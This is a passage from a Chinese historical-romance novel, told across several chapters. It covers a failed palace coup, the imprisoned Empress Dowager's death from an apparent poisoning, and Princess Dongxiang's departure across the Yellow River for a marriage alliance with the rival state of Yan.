谢拂霜在诏书中把一切罪过都推到了谢郯头上,看来是恨得狠了,也许她真的不会顾及谢郯的尸体。但谢聿还活着,她愿意给半个时辰,多少还是不到最后一刻,不想伤了兄长。萧盈这意思,还是把他当人质了。谢聿的脸一下子涨得通红,但又不能说什么,只能仍旧退回原地。
袁綦一直没出声,他来了以后,除了跟萧盈汇报过成功截下楚培,就没再插过嘴。这一屋子肱骨栋梁,实在也没他说话的份。但听到这儿,他就起身出了房门,问院子里守着的侍卫要了一杆枪,然后沉默着站到了温泉宫的门口。众人还在闹闹嚷嚷地说着怎么办,唯独萧盈的视线往外面投。
少年瘦削,还没完全长开,但是长枪在手,背影竟已有了一夫当关万夫莫开的气势。
又过一刻,太后遣人来劝降,险些被大将军挥剑砍了,桓令君亲自撸起袖子把人赶出去,站在温泉宫门口对太后破口大骂。甚至骂着骂着还自己发挥了起来,说陛下虽不是太后所出,但生母曾受先帝召幸,确确实实是萧氏子孙无疑。
萧盈在里头听着,没忍住高高扬起了眉毛。但众臣都连连点头,极具默契地认同了桓廊这个说法,倒是让萧盈哑然失笑。
什么血脉正统,无非是一件兵器,趁手的时候大杀四方,不趁手,就另换一件趁手的。
桓廊还在外面骂,故事编得有鼻子有眼,天子生母是谁,他也不说明白,反正就是太后善妒,这才容不下天子。父亲尸骨未寒,她就如此忤逆不孝,大逆不道……话还没骂完,一支长箭已经“嗖”地射过来。袁綦眼疾手快地拽了桓令君一把,长箭一下子钉在温泉宫的门楹上,箭尾长羽震颤不休。
“令君还是快进去吧!”袁綦拉着他往后躲,他话音未落,长箭便如下雨一样往温泉宫射。袁綦马上把院外的门关上,听见长箭“嗖嗖”地插|进门里。另有无数箭往高处射,越过外墙,落入院中。可怜满园子兰花,瞬间就被糟蹋得不成样子。皇帝所在的房间门窗都已关上,屋里的木屏风等物都拿来遮挡。但是萧盈没有乖乖留在屏风后,只是让谢皇后和庾夫人母女安全呆着。
一波箭雨射完,太后继续让人在外面喊话,而且全是尚书台的旧人,点着桓令君的名字“相劝”。桓廊气得恨不得又要出门去还嘴,谢聿更是听得汗如雨下。他架空桓廊,这些人现在都成了谢氏门下,本就是桓廊的痛脚,如此相激,生怕大将军又要砍他。
萧盈倒是很平静,每出现一个新的声音,他就问一问谢聿,此人是谁,平日里为官如何,谁跟谁又是什么姻亲关系。就这一早上的功夫,倒向谢太后的人就有这么多。
忽然一声尖锐的呼哨,打断了群臣们的嘴仗,鹰唳一般盘旋在建康上空。
谢拂霜突然站了起来。这是军中的信号,但不是从宫里发出去的。谢维刚要说话,谢拂霜已经厉声下令:“杀进去!”
“太后!”身边还有人想劝,大部分的朝臣还是不愿意见到流血。但是谢拂霜长袖一挥:“谁敢多言,本宫先杀了他祭旗!”
执金吾卫们听到号令,立刻往前扑杀。萧盈在温泉宫布下的人手还是太少,转眼就被砍瓜切菜一般料理了干净。钉满箭矢的大门被强行撞开,袁綦的长枪已等候多时,挑劈横扫,竟生生把第一股兵拦在了门口。桓湛和大将军麾下的武将都持剑而出,转眼便杀得血流满地。
然后便传来了鼓声。
和哀鼓不同,这是战鼓。从宫城四角传出来,急迫而低沉,仿佛千军万马同时从四面八方涌来。
明绰拉住谢拂霜:“母后,是袁煦的大军!”
但是谢拂霜已经红了眼,一把推开了明绰,只顾下令:“杀了萧盈!”
更多的执金吾卫没命似的往上扑。桓湛拖了两具尸体垒在门口,袁綦占着长枪的优势,来一个刺一个,不多时就倒了一片,正门再也进不来了。于是更多的人想从墙上翻过来,萧盈早就持了剑出去厮杀,逼得谢聿都撸起袖子,从尸体上抢了刀过来,闭着眼睛“哇呀呀”地乱砍。
鼓声更急了。
明绰是第一个看到袁煦的人。他策马而来,奔得太急,身后的人都来不及跟上来。谢维立刻下令拦他,但宫中不便骑兵作战,他们没有马。袁煦在马上,手中偃月刀又重,几乎是压倒性的战力优势,一路过来,一路把人挑翻,只是片刻间就已经旋风般刮到太后面前。大臣也好,执金吾卫也好,无人能挡,眼看着袁煦已经把刀举起来,明绰突然把母亲推开,自己往刀下撞去。
谢拂霜发出了一声撕心裂肺的痛呼:“溦溦!”
但是袁煦没砍下来。他长刀一歪,险而又险地避过了公主。尖刃沉重地砍到地上,离明绰的脚只有半寸之距,然后他借势撑着偃月刀从马上翻下来,动作行云流水,毫无停滞,偃月刀挥起来,“当”的一声,把谢维胸甲上凶狠的金雕虎头劈出了一条大裂缝。金甲虽然未碎,但这一刀的力道能碎山石,谢维退了几步,当即半跪下来,“哇”地吐出了一口鲜血。
形势的逆转只在一瞬间。
崔挺也赶到了,骑着马绕住宫里的执金吾卫转圈,一边大声宣告荆州军与宿州大营合兵,已经围住建康。谢维手下立刻归降,可恕谋逆之罪。
几乎没有人犹豫,一时间只听见丢武器的声音。谢拂霜想扑上来看女儿,但是脚下一软,直接摔了下去,头上繁复的冠被甩出来,金玉翠珠洒了一地。
天子好一会儿才得以从温泉宫出来,因为院中的尸体已经堵住了大门,袁煦不得不派人先把那些尸体挪走。萧盈一出来,先找袁煦。只见他满面尘土,又脏又臭。从萧盈下令到今日,只有七天,他竟然赶到了。为了快,连甲都没穿,就这样单衣杀进了宫。他一跪,萧盈立刻俯身去扶。
“伯彦。”萧盈唤了他的字,不是作为君臣,而是作为至交。他想说什么,却又觉得说什么都不够。但他不用说什么,所有的人都明白了。
从此,建康的大姓里,会有一个尤其突出的袁字。
太后已经被控制住,她的鬓发散了,身上贵重的翟衣也破了,但她反而比任何时候都站得更直。面对萧盈的时候,高高地抬起了下巴,不屑于跟他说一个字。
萧盈只道:“母后不想进去看看太父最后一眼吗?”
谢拂霜的脸狠狠抽了一下:“你不要叫我母后!”
萧盈没有理会她的态度,只是示意把她放开,然后指了指通往温泉宫里的路。谢郯还躺在里面,这一夜风云变幻,于他,都已经没有关系了。谢拂霜充满恨意地看了萧盈一眼,但还是鬼使神差地走进了温泉宫。
“陛下,”崔挺也来问,“长公主和皇后……?”
“送她们回去,”萧盈知道他要问什么,“庾夫人可以留在宫中安抚皇后,你们不要把女眷吓着了。”
崔挺一愣:“可是……”
但他没说完,便自己把那疑问收了回去:“陛下仁慈。”
“让录尚书事来见朕。”
谢聿也被控制住,听见天子召见,几乎是连滚带爬地过来,身上的孝服还沾了血,萧盈看见了,伸手想扶他。
“臣万死!”谢聿把头叩下去,抖若筛糠,“臣万死啊!”
于是萧盈也不扶了,站在那里,长长地叹出一口气。
他现在反而不能动谢家了。谢太后在诏书中指责谢郯混淆天家血脉,天子要全面地否定太后的话,就要抬举谢郯。桓廊阵前编瞎话编得很利索,相当于给了萧盈
一个解决的方案,他顺着那个故事走,也可以顺理成章地把保太夫人认回生母。那太尉还是有功之臣,谢家应该得到天子的善待。若是他非要借着太后谋反的由头大开杀戒,虽然没人能够拦他,但是谢家的势力盘根错节,他还没有完全控制住局面,这未必是一条好路。
“朕不会杀太后,也不会杀你。”萧盈把话说得尽量简洁,“你的女儿还是皇后。”
谢聿低着头,不抖了:“陛下……”
“但是桓家受了冷落,朕不能不安抚。”萧盈继续往下说,“你把尚书台还给令君,仍领中书去吧。”
“是!”谢聿连忙叩头,“臣,臣自当……”
萧盈转头看向了温泉宫,没让他说完:“太后怎么处置,你说吧。”
谢聿低着头,恐惧地闭上了眼睛。这是最后的试探吗?
“按律,谋逆当斩。”谢聿几乎没有犹豫,“陛下宽仁,愿饶恕臣妹性命,臣请……褫夺太后印宝,囚于掖庭。”
萧盈好一会儿没说话,看着谢聿的后脑,皱起了眉。他原本以为谢聿会求情,让谢拂霜出宫,入瓦官寺为尼。这本是他给谢聿的台阶,毕竟他的母亲就在那里,这是很好想到的事情。可是谢聿没有,他是如此恐惧。
“好。”萧盈讽刺地冷笑了一声,“那就按你说的办吧。”
第38章
旨意传达的时候,谢拂霜还站在父亲的尸首边,进来传旨的是谢聿。没有人知道兄妹两个在父亲的尸首旁说了什么,直到谢聿惊慌地高声叫人,谢拂霜欲自戕,但被谢聿死死拦住。据说宫人们冲进去的时候,太后正狂笑不止。被阻止自戕之后,她没有任何抵抗,交出了太后印玺,自己去了掖庭宫。
掖庭宫位于宫城西南角,虽也称作宫殿,实际是一座监牢,分东西两院,关着的要么是获罪朝臣家中尚且年幼的孩子,要么是皇室中的罪人。罪臣之后会被充作宫中奴役,每日还能够出去劳作,皇室罪人却被重兵看守,不能离开半步。跟在太后身边的,仍是只有梁芸姑。
当夜,谢拂霜呕血昏迷。
东乡公主连夜跪在了含清宫外,萧盈立刻遣了太医令去掖庭,卞弘回来报,说太后是急火攻心。长公主苦苦为太后求情,天子不要她跪,但也没有松口。最后长公主伏地请罪,只求他同样治她谋反的罪,好让她去掖庭宫陪伴母亲。
可是长公主并无过错,当日在场的朝臣们皆可作证,于是萧盈也没有罚她。
平心而论,天子处理这次叛乱的态度已经是宽仁之至。崔挺承诺只要谢维的手下愿意放下武器就不会治罪,萧盈没有食言。执金吾卫们战战兢兢的大清洗并没有来到,就连谢维也只是夺印下狱,他胸口受到袁煦一刀重创,伤了肺腑,萧盈也允许他就医,并未苛待。
当日曾倒向太后的朝臣,他也一律轻轻放过。尚书左丞第一个响应了太后的私函,又替她在朝中联络重臣,自知罪无可恕,捧着官帽来请死,但萧盈也只是拉着他说了半晌的话,细细地问了他为何支持太后。问完了便承诺,他也不会先祖的穷兵黩武,甚至还拿出有关盐铁的新策来同他商议。
大雍立国以来,以西征收复长安为志,为了供军需所用,盐铁皆由朝廷垄断。到了这一代,官营盐铁贪腐严重,盐价居高不下,农具又质量堪忧,已致民怨沸腾。但要一举改革盐铁之策,阻力还是太大,太后这么多年试探了多次,也没能真的下手。如今看到天子年少锐意,王左丞只感到无地自容,涕泗满面,再三请罪。萧盈反而亲自把他扶起来,拉着他的手,也跟他掏心掏肺。
盐铁之策,供的是军中的嘴,要改,最大的阻力也是来自于军中。即使眼下说通了大将军,各地将领难免要闹,最后还是大将军为难。如今大将军定国保君,刚立了新功,转头就要从他口袋里掏米掏钱,未免不太厚道。此事还是要长久议,所以他劝王左丞安心,好好在这个位置上坐着,日后还有用得上他的地方。
一番话说完,王左丞已是心服口服。萧盈最后问他,当初联络了哪些人,都是什么态度的时候,他也已经没有了戒心,何人一口答应,何人摇摆不定,都一一地跟陛下坦诚以告。
这份名单萧盈一直没有。当时在太极殿的人太多了,有的是被谢维扣住了,不得已,有的呢,则是事后声称不得已。萧盈已说了不追究,所以一概当成都不得已。如今听完了王左丞所言,也还是笑着,让他回去了。
三日之后,太尉大殓。十二骑各阶军侯夹彀而行,穿过建康的长街,极尽哀荣。明绰身着粗布斩衰,跟着送葬的队伍到了城外山陵。丧仪持续了整整一天,所以她一直到深夜回宫,才得到了掖庭传来的消息。
谢拂霜病势凶险,已经神志不清了。
明绰不知道自己是怎么跑去掖庭宫的。昨日她还去掖庭宫看过母亲一次,那时谢拂霜还是清醒的,听到她说她去求萧盈治自己的罪的时候,还发了火,硬是把她赶了出去。
梁芸姑已在门前等她,明绰一见到她便先哭了起来,连问到底怎么回事,不是已经有太医来看过了吗?怎么突然又这么凶险?但梁芸姑说,昨日是好了些,今日却又腹痛如绞,呕了几次血便再没了神智。
“长公主,”梁芸姑压低了声音跟她说,“这情形,奴婢看着……像中毒。”
明绰心中登时一凉,不得不做了两个深呼吸强迫自己冷静下来:“芸姑,你把母后吃过的东西都……”
但梁芸姑又道:“吃的东西没有问题,进掖庭以后,太后吃的我也吃了。”
明绰皱起眉头,那会是什么?——最重要的是,是谁?
两人站在门外说了两句话,里头似是听到了她的声音,虚弱地叫了一声“溦溦”。明绰赶紧跑进去,扑到母亲床边,眼泪瞬间变落了下来。谢拂霜的脸色竟然在短短两天之间就变得如此灰败憔悴,几乎让她认不出来了。
“溦溦……”她已是气若游丝,“还好,来得及,你来了……”
明绰握住她的手贴在自己的脸边:“不要……”
谢拂霜轻轻地叹了口气,在枕头上摇了摇头,只道:“报应。”
明绰只能发急:“母后你不要胡说……”
“我一生用毒害了很多人……”谢拂霜勉强笑了一下,“如今我也死于毒药,公平得很呐。”
明绰如坠冰窖,一时连嘴唇都发了木,一个字也说不出来。母后是在暗示什么?会是他吗?他不是已经宽恕了所有人吗?母后已经败了,他要母后的命轻而易举,为什么又要这样大费周章?
明绰只能哭,谢拂霜想伸手替她擦一擦眼泪,可是她连这一点力气都没有了。旁边房间突然传来了女人幽幽的哭声,丝丝缕缕,听得明绰背上突然起了一层冷汗。
“那是,燕康王的母亲……郗夫人。”谢拂霜一句话说得断断续续,她看出了女儿的害怕,想告诉她,那是一个活人——可是话到嘴边,突然又犹豫了。郗夫人真的还是个活人吗?燕康王叛乱被杀,已经十几年了,她就这样被关在掖庭,也十几年了,是谢拂霜亲自下的令。可是谢拂霜自己也不记得她还活着了,这里早已不是人间。
又一阵剧痛从她身体深处传来,仿佛有一只手在搅动她的内脏。谢拂霜却突然笑了出来,也好,谁说这不是对她的仁慈。
“溦溦,”谢拂霜突然说,“不要相信萧盈。”
“母后,”明绰的声音很轻,“真的是他吗?”
谢拂霜虚脱地闭上了眼睛,她也不知道到底是谁,是他也不奇怪,只是现在她都不在意了。她说的是另外的事,更重要的事。
“你心里就那么爱他吗?”
明绰含着泪拼命摇头。爱吗?这个问题已经变得太奢侈了,爱太轻了,在权力的漩涡里轻而易举就被搅得粉碎。当她
只能跪在含清宫外一遍一遍哀求的时候,她还能谈爱吗?
“母后,我错了!”明绰痛得好像心脏被紧紧捏成一团,“我不要他了,你别丢下我一个人……”
“不要做他后宫里无名的女人,不要相信他的爱……”谢拂霜喘了一口气,才得以往下说,“我已经跟你舅舅说过了,我既然事败,你就不要留在大雍了。他会坚持送你去长安。你去吧,去做……乌兰徵的皇后……”
明绰流着泪摇头:“我不能走……”
“听话。”谢拂霜的语气近似哀求,“他永远不可能光明正大地娶你,你只会被他藏在暗处,被他夺走一切……到时候,我死了都闭不上眼!”
明绰突然站了起来:“我去问他求解药。”
谢拂霜突然握住了她的手,几乎是用最后的力气:“别……”
可是她的溦溦跑得太急了,谢拂霜已经无力抓住她,反而险些从床边栽下去。梁芸姑立刻上来把她扶起来,半抱在手臂里,扶着她重新躺好。谢拂霜侧过脸,抬着眼,又叫:“芸姑。”
“奴婢在呢。”梁芸姑握住她的手,努力朝她笑了笑。
谢拂霜小声道:“我怕。”
于是梁芸姑便坐到了床头,用力地把谢拂霜抱在了怀里。从昨晚到现在,这是谢拂霜神智最清楚、说话最有逻辑的时候了,这意味着什么,梁芸姑心里很清楚。但她没哭出来,好像哭泣是小公主的特权,她不会哭,她不能让太后更害怕了。
“只是对不住你。”谢拂霜突然说。
“太后没有什么对不起我的。”
“我明知胜算不大,还是偏要争这一口气。”谢拂霜说,“当初把你从掖庭带出去,许了你,要你做这开天辟地的……第一个女相,可是如今,又把你害得,回来这掖庭了……”
梁芸姑别开脸,克制着,没有泄露出一丝哭腔。
“等我死了,”谢拂霜继续往下说,“让溦溦把你带出掖庭……”
“太后在说什么呢?”梁芸姑轻声道,“太后不会死。”
谢拂霜便闭上眼:“我要死了,我知道。”
梁芸姑好一会儿都没说话。她也知道,所以她已经给自己备好了归处。
“芸姑不会抛下太后的。”
谢拂霜垂下眼睛,落下了一行泪:“我不要你殉葬。”
“芸姑罪大恶极,”梁芸姑还是轻轻地,说出来的却是这么多年来,唯一一次忤逆谢拂霜的话,“出去了也不会有好下场的。”
“萧盈连我阿兄都没有处置,更不会处置你。”谢拂霜说,“你要出去,留在溦溦身边,陪她去长安。”
梁芸姑不说话了。
“大燕女子掌权,段氏未必愿意见到新皇后分她的权柄,”谢拂霜又落下泪来,“若是天不见怜,乌兰徵又待她不好……溦溦这样的性子,我实在是放心不下……”
谢拂霜听起来已经要喘不上气,梁芸姑抱紧她,只道:“好。我陪公主去。”
“你要帮衬着她,护着她……”
“芸姑会拿自己的性命保护她。”
谢拂霜长长地叹出一口气,好像终于放心了。
“多谢。”她轻轻侧过脸,贴在了梁芸姑的颈窝里。梁芸姑就像哄小孩子睡觉那样,轻轻地在她背上拍着。良久,谢拂霜又道,“此去长安,多半埋骨他乡,难回故土,我又委屈了你……这辈子,我一直在委屈你……”
“不委屈。”梁芸姑把脸贴在她的额头,“太后去了,芸姑就没有故土了。”
谢拂霜没有回答什么,只发出了一个含糊的音节,像是梦呓。芸姑感到她的额头高热起来,时不时地便抽搐一下,除了把她抱在怀中,已经没有了别的办法。
“拂霜。”这是她此生第一次叫她的名字,但是她再也没有答应。
萧盈听到声音,披上衣服出来,明绰几乎是摔进了他的臂弯里,跪下来,哭得语无伦次。
“求皇兄赐我解药,放过母后!”明绰朝他磕头,几乎是拿出了全身的力气把头往地上撞,磕出“咚”的一声响。萧盈惊得俯身抓紧她的肩膀,刚草草披在身上的外衫从他肩头滑下来,落到了地上。
“你在说什么?”萧盈很茫然,“太后怎么了?”
明绰睁着一双泪眼看着他,试图辨认他是不是真的不知情,可是她根本看不出来。一把火在她胸口烧,烧得她喉咙口里全是血腥味。
萧盈的脸色变了,他明白了什么,扬声道:“任之!”
任之立刻应了声,萧盈语气很急地下令:“去请太医令,让他把太医署的医官都带上!马上去掖庭!”
任之转身要走,萧盈又道:“把看管掖庭的校尉给朕传来,查!怎么回事!”
“喏!”任之连忙跑了下去。萧盈这才把明绰扶起来,明绰整个人都没力气站住,几乎全靠在他怀中,怔怔地,抬头看着他。
会是演的吗?他真的会为了母后这样着急吗?明绰只听到哪里有个声音不停地发出冷笑。
“陛下,”明绰听到自己的声音,“我愿意。”
萧盈没有反应过来,低头看着她:“什么?”
“我不做公主了。”明绰说得很慢,“我可以进你的后宫,什么名分都不要,你想怎么样都可以。我只求你放过我的母后……好不好?”
萧盈好像被她突如其来地打了一巴掌。他看起来好疼,让明绰想起来,曾经她是那样不舍得看见他疼,甚至自己也会觉得疼。但是现在她感觉不到了,原来自己疼到一定程度以后,她就不会再在意别人的疼了。
“溦溦,”萧盈好一会儿才说出了几个字,“我真的没有。”
“我不敢责怪陛下。”明绰马上说,“我是说,陛下能不能……”
萧盈闭上眼睛:“你不要这样。”
“陛下别生我的气。”明绰垂下了眼睛。萧盈从小跟她一起长大,还从来没有在她脸上见到这样柔顺的姿态。她是整个建康最尊贵的公主,从来没有人需要她这样去讨好。可是她现在勾住了萧盈的脖子,凑上来,轻轻地在他唇角碰了一下。萧盈感觉到了她唇上还有咸涩的味道,是未干的眼泪。然后她在他脸颊旁蹭了蹭,耳鬓厮磨,一声声地叫他,“皇兄,皇兄,求求你……你把解药给我,好不好?”
萧盈想把她挣开:“我没有解药……溦溦,真的不是我……”
明绰好像没有听进去,她已经没有了任何办法,只有执拗地把唯一的可能都放在这里。
“皇兄,我知道这些年你都很疼……”明绰的手停留在他的胸口,她踮起脚,吻着他的颊侧,笨拙却又狂热地想把自己献祭给他,“我知道你生气……”
那么她的身体够不够?她长公主的尊荣,她带来的威胁,一切的一切,够不够?能不能换回她母亲的命?
萧盈咬紧了牙关,下颌因此绷出清晰锐利的线条。他看起来更像是生气而不是被激起了情|欲。明绰的两只手都被他制住,攥在了胸口。
“到底要怎么样,你才能相信不是我?”
明绰没有说话,她的神情那么可怜,让萧盈心里跟着泛起剧痛。她也想相信不是他,可是如果不是他,还有谁?她还能去求谁?她还能做什么留住母亲?
任之的脚步声重新传了回来,他跑得很急,还喘得厉害。明绰仿佛突然有了预感,狠狠地挣开了萧盈的手,转身奔了出去。任之就在阶下,一边跑,一边喊:“陛下!太后她——”
萧盈也跟了出来,任之突然想起什么,跪在阶下,临时改了口:“陛下!掖庭宫谢氏,薨了!”
有那么一会儿,明绰没有任何反应,没哭,没喊。她没有办法把“掖庭宫谢氏”几个字跟母亲联系起来。明绰
只感到天旋地转,萧盈抓了她一把,可是没有抓住她。
明绰想往阶下走,想回掖庭去,再依偎在母亲身边,最好永远都不用离开掖庭。可她每一步都踩不到地,好像走了,又好像根本没有力气挪动一步。这一刻她不再是人,而是一颗草,被人突然连根拔起来。她甚至感觉不到痛,只是轻,无所依傍地在风里飘。就在那一瞬间,她突然明白了。她被斩断了和大地的根,所以她只能往远处飘。
“陛下,”明绰听见自己的声音,“东乡愿往长安和亲。”
景平十五年,太后薨逝。因为太突然,天子垂怜,仍旧还了她太后的尊荣。但宫内秘闻,说谢后其实是被天子秘密鸩杀。掖庭宫里的看守曾被传唤审讯,最后不明不白地都死了。
东乡公主极尽哀恸,大病一场。天子以守孝为由,本欲再向长安递国书,要求再拖婚期。但是满朝文武都很清楚,天子不愿意把妹妹嫁过去,再拖延一次,恐怕也只是撕毁婚约的前兆。只是如今,已经没有多少人能够违逆皇帝的意思了。
就在这个时候,东乡公主于朝会时亲上太极殿,在百官面前自陈愿往长安,以期修好强邻,不起兵祸,众臣皆赞叹公主高义。无奈之下,天子为东乡公主筹备了金银珍宝无数,丝绸锦缎满车,还有经史典籍,车马侍从……不一而足。又命进京平叛的那两万荆州军原地不动,一直等到公主的嫁妆全部筹备完毕,才命袁氏兄弟领兵护送。
景平十六年春,东乡公主出嫁。
第39章
东乡公主的送亲队伍到了风陵渡口,已是两国约定的交接地点。
明绰站在岸边高处,只见黄河滚滚翻浪,河面极宽,隐约能见到对面的军队,一面竖着“燕”字的旗在呼啸的狂风中飞扬,也把她的大氅吹得满满鼓起。一艘大船从对面出发,同样飘着“燕”字旗。
袁煦站在她身边,又唤了一声:“长公主。”
明绰微微垂头,没有应声。她知道袁煦要说什么,来的这一路,他已经说过无数次了。
袁煦:“现在还来得及。”
明绰忍不住笑了一声:“将军,大燕的船都要开过来了,东乡若是此时反悔,岂不是当下就要开战?”
袁煦斜了一眼河面,面色沉静,但是眼神带着说不出的倨傲。对面那点人他根本不放在眼中,从建康出发时他就得了密诏,只要东乡公主愿意回头,他要“不惜一切”把人带回去。
哪怕是两国开战。
“陛下托臣转告,”袁煦说,“他曾答应长公主,不必违心嫁给任何人,陛下是个守诺的人。”
明绰不为所动。不必袁煦转告,这样的话她听萧盈亲口都说了不知道多少次。萧盈什么招都使过了,吵过,求过,病倒过,拿曾经的话来戳过——直到最后一次见面,在面对萧盈失控的威胁时,明绰只是轻蔑地笑了笑,说,“怪不得母后临终都念念不忘要我去长安,原是知道我留在建康,你必有此心。”
她应该一辈子都忘不了萧盈当时的神情了。他看了她很久,最终放开了握紧她肩膀的手。他不肯看她,又不知道能看哪里。那时明绰已经搬回了上阳宫,近乎自囚。宫室里什么都没动过,宛如谢后生时。那个女人的目光也仿佛无处不在,冷笑着,看着他狼狈地抬起手,又不知能抓住些什么。体面,尊严,还是他在明绰心中哪怕一点点的好?原来真正败的人是他。她就这样突然地死了,于是他永远没有办法再战胜她,战胜她在明绰心里播下的怀疑。他因此恨她入骨,甚至比她活着的任何时候都恨得更咬牙切齿。萧盈试图克制,却还是听见自己对明绰说,“朕真希望是朕亲手下的毒。”
一切就此无法挽回。
“也请将军转告陛下,”明绰的声音冷冷的,“东乡也说过,为了大雍,我愿意嫁。”
袁煦便不再说什么。在他们身后,是蜿蜒出去的随行车马,荆州军正在帮着把那一箱箱的嫁妆往下卸,准备装船。光是随身伺候公主的侍女就带了近百人,侍从更是数不胜数。明绰回头扫了一眼,看见有不少年纪小的已经在哭了。
“将军,”明绰又唤了袁煦一声,“东乡求你一件事。”
袁煦一颔首:“不敢,长公主吩咐便是。”
“陛下厚爱,但是东乡不忍见骨肉分离,飘萍满地。这些婢女侍从,芸姑已经替我挑过了。未满十五者,亲人尚在者,不必跟着渡江。劳烦将军替东乡善个后,想回家的就给点钱让他们回家,想投军的,将军就收留了吧。”
袁煦好一会儿都没说话,半晌,点了点头:“长公主放心。”
明绰朝他行了一礼,袁煦连忙退了两步,没敢受。
“还有一事,”明绰斟酌了一下,又道,“将军不要嫌东乡多嘴……”
“臣不敢。”
“桓姐姐才刚有了身孕,将军又回荆州了。东乡知道将军心中有大义,顾不得小家,只盼将军时时将妻儿放在心上,早日团圆才是。”
袁煦眼神微动,似是有些窘迫。他知道妻子和长公主走得很近,只是袁煦从来不知道桓宜华跟长公主都说了些什么。
他们夫妻两个一成婚就分隔两地,袁煦刚回来的时候,也当真是蜜里调油,如胶似漆。如今时移世易,桓家待他也是另眼相看,那段日子,袁煦春风得意,事事顺心,连桓宜华进宫的时候,脸上都是放着光的。
可是袁煦在建康的日子久了,明绰再见到桓宜华,就觉得她脸上不是那么高兴了。明绰追问之下,她才说出来。她总觉得,袁煦当初娶她不过是顺水推舟,换另一个王家的崔家的女子,他也会娶,并不是非她桓宜华不可。说完了,又连忙责怪自己多心,不该拿这些事情来烦扰长公主。
袁綦已经长大,该正式从军了,早已禀明了陛下,领了荆州军职。兄弟两个就干脆就把女眷都一并带到荆州去,谁知等到陛下下旨可以启程了,桓宜华又有了身孕,不便舟车劳顿,只好仍将她留在建康。
袁煦看起来不知道该说什么,眼神躲闪,脸都微微红了。明绰看着他的样子,没忍住笑了笑。是因为她要离开了吗?明明袁煦还在她眼前,她却像隔着镜花水月,看往她前半生的一抹残影。她甚至忘记了袁煦曾经在她眼里有多么面目可憎,如今面目可憎的只有一个人,其余的,都成了故人。
“此去长安,恐怕今生都不会再见到桓姐姐了,”明绰眼神暗淡下来,轻声道,“望将军惜取眼前人。”
已经驶过河面一半的船上突然传来了沉重而急促的击鼓声,威严地宣告着对大雍公主的欢迎。明绰转过身,欲往码头而去。
袁煦突然从背后问她:“那长公主为何不肯惜取眼前人?”
明绰脚下一顿,眼泪违背她的意志,一瞬间盈满了眼眶。她仰起头,咬着牙,像是和看不见的另一个自己对抗,硬是不肯让眼泪落下来。平息了半刻,才转过身来看着袁煦,伸出一只手,指了指对岸。
“东乡的眼前人,自然是在‘眼前’啊。”她轻轻一礼,最后朝袁煦笑了笑,“将军,就此别过。”
她从高处下来,袁綦正守在那儿,一抬头就看见了她眼中的泪光。
“长公主?”
明绰微微别开脸,避开了他的视线:“少将军。”
袁綦愣愣地看着她,这还是东乡公主第一次跟他说话。出行之前,兄长说他曾经见过公主,连阿嫂也说他其实见过长公主微服,可他怎么也想不起来。这一路上,长
公主有自己的营帐,他掰着手指头数,见到她的机会也不超过一只手。每一回见,长公主也都只和兄长说话,他只能在旁边,看不够似的使劲盯,盯到袁煦不得不用力清嗓子提醒他。
他想记起什么时候见过她,可是到今日也没想起来。所以他牢牢记着如今的每一眼,生怕日后再忘。
“少将军?”明绰又叫了他一声。袁綦一下子回过神来,忙伸出手想扶她:“长公主当心!”
明绰朝他一笑,没有要他搀扶,动作轻捷地从高处跳了下来。袁綦侧身让开,梁芸姑已经迎了上来。她也看到了明绰眼底的泪光,但是她什么都没问,只是伸出手,让长公主搀着。明绰看到她,便安心了似的。握住了她的手,深吸了一口气,昂起头,走向了即将靠岸的大船。
从此,她只看眼前,再不回头。
大船再一次出发,已经是三个时辰以后。长公主把大部分的侍从都留了下来,许多人感念她的恩德,在临水处磕头哭送。大燕的将士们再一次敲起了鼓,起桨,渡江。装满了嫁妆的船变得吃水很深,像一头行动迟缓的巨龟,但一进了水,便行得飞快。袁綦沿着岸边跑了几步,手掌搭棚远眺,只看到船上一个背影,凭栏望水,独立孤绝。还没看清,已去远了。
袁綦有些黯然地放下自己的手,感到另一只手搭到了自己的肩膀上。他回过头,只见袁煦不知道什么时候站到了他身后:“怎么了?”
“没事。”袁綦下意识回了一句,目光又看向河面。天色已经慢慢暗下来了,他看不清对岸的残垣断墙和大燕将士,只有一片灿烂的霞光,与河面连成一片。大船就这样载着他的公主驶入了一片霞光中。
“长公主很伤心。”袁綦喃喃道,不知道是说给兄长,还是说给自己听。
袁煦若有所思,什么都没说。
“兄长,”袁綦想不明白,“大雍自有精兵良将,何惧兀鲁蛮子?男儿本该保家卫国,要一个女子受这样的委屈,岂不是你我的失职?”
袁煦闻言便苦笑了一声,不知道能怎么回答他。精兵在后,良将在此,陛下也不惧一战,可是她非要走。
“少将军这还没正式上任呢,”袁煦伸手就想拍他后脑,“先失职了?”
袁綦反应敏捷地一躲,没让他拍成。袁煦本想再拍一下,好歹想起来四下都还有将士们看着,要给少将军留点儿脸面,只好收了手,也看着长河翻浪,霞光连波,良久,长长地叹了口气。
袁綦不明白兄长为何长叹,只是皱着眉头,一脸严肃地看着河面,突然道:“泱泱上河,天地其证,我必有一日渡河而去,踏破长安,绝不再让大雍任何一个女子受这样的耻辱!”
少年咬碎牙关立下的誓言像粒石子一样被卷进滚滚的波涛里,一路东逝。迎接大雍公主的队伍却一路往西,进河东,过潼关,还要走十五日。
明绰这辈子都没出过这么远的门,早已被颠得七荤八素,什么秦时古道,滚滚渭水,在她看来只有千篇一律的黄土。来接她的大将不会说汉话,明绰随行的人里有“据说”会讲西海语的译者,但是真正见了那大将,硬是把人家的名字“拔都”都译成了请安,明绰驴唇不对马嘴地跟拔都说了十天,终于意识到不对,把这滥竽充数的译者打发去烧火做饭了。
但就是做的饭,她也吃不惯。乌兰部的将士们多吃煮得干巴巴的牛羊肉,拔都第一天送来的羊肉比明绰的脸都大,除了撒两把盐,什么都没有。明绰吃了几天,实在不胜其苦,都怀疑乌兰徵是故意的。
大燕不是没有汉人将领,为何非要派这么一个人来接她?
拔都言语不通也就罢了,偏偏还十分热情健谈。行军无趣,他总凑到明绰的车边上,叽里咕噜地跟她说个没完。梁芸姑看出来明绰身子不舒服,不愿意应付他,说了好几次,完全鸡同鸭讲。于是明绰也意识到了,拔都就算听懂了梁芸姑的话,他脑子里也没有尊卑不可逾的概念。后来明绰总算从他那一大串的叽里咕噜里学到了一个词,他从路边摘下一朵花,“苏古勒”,然后指一指明绰,“苏古勒”,美丽的女人。
明绰苦笑了一声,手里攥着那朵路边捡来的粉色小花,柔嫩的花瓣舒展开,被掐断的茎还渗着绿汁。她想了想,把花别在了鬓角,难得地朝这异族人笑了笑:“多谢你。”
